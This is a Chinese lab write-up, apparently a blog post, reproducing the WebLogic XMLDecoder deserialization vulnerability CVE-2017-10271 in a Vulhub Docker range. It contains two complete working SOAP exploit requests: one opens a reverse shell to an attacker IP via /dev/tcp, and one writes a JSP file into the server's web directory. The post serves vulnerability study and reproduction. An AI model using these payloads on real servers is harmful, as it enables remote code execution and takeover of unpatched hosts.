Vulhub漏洞CVE-2017-10271复现

Vulhub漏洞CVE-2017-10271复现

简介

WebLogic XMLDecoder反序列化漏洞

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。

原理:
主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
XML	:
可扩展标记语言,用来传输和存储数据

XMLDecoder:
XMLDecoder用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下。

XMLEncoder:
XMLEncoder 类是 ObjectOutputStream 的互补替换,可用于生成 JavaBean 的文本表示形式,所使用方式与用 ObjectOutputStream 创建 Serializable 对象的二进制表示形式的方式相同。

受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

漏洞利用路径:/wls-wsat/CoordinatorPortType

操作

前提:已安装好docker容器,vulhub靶场

靶机(虚拟机):IP:192.168.73.131 攻击机:win10、ip略

  1. 进入CVE-2017-10271漏洞目录

    cd vulhub-master/weblogic/CVE-2017-10271
    

  2. 启动docker容器服务

    service docker start
    
  3. 使用docker编译启动漏洞环境

    docker-compose up -d
    

  4. 查看容器状态,发现开启了7001端口

  5. 访问端口,查看是否搭建成功。如下图为成功搭建

  6. 访问该路径下的”/wls-wsat/CoordinatorPortType11“目录,如下图就说明存在漏洞

  7. 靶机漏洞环境搭建好了以后,攻击机用端口8888开启nc监听

    nc -l -p 8888
    

  8. 构建poc:(白嫖的大神的,自己现在写不出来)

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.43.53:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 637
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.43.248/9999 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    
  9. 使用bp向靶机发送poc,host主机地址就是靶机的地址,记得加上端口号。返回的是攻击机的地址和攻击机开启监听的端口。

  10. 发现监听成功反弹shell,说明构建poc攻击有效。

  11. 在之前的poc基础之上继续构建写入shell,发送(一瓢,嫖到底)

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.43.53:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 639
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.io.PrintWriter"> 
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
        <void method="println"><string>
        <![CDATA[
    <% out.print("test"); %>
        ]]>
        </string>
        </void>
        <void method="close"/>
        </object></java></java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

  12. 访问shell,成功

    http://192.168.73.131:7001/bea_wls_internal/test.jsp
    

原文地址:https://www.cnblogs.com/kbhome/p/12864801.html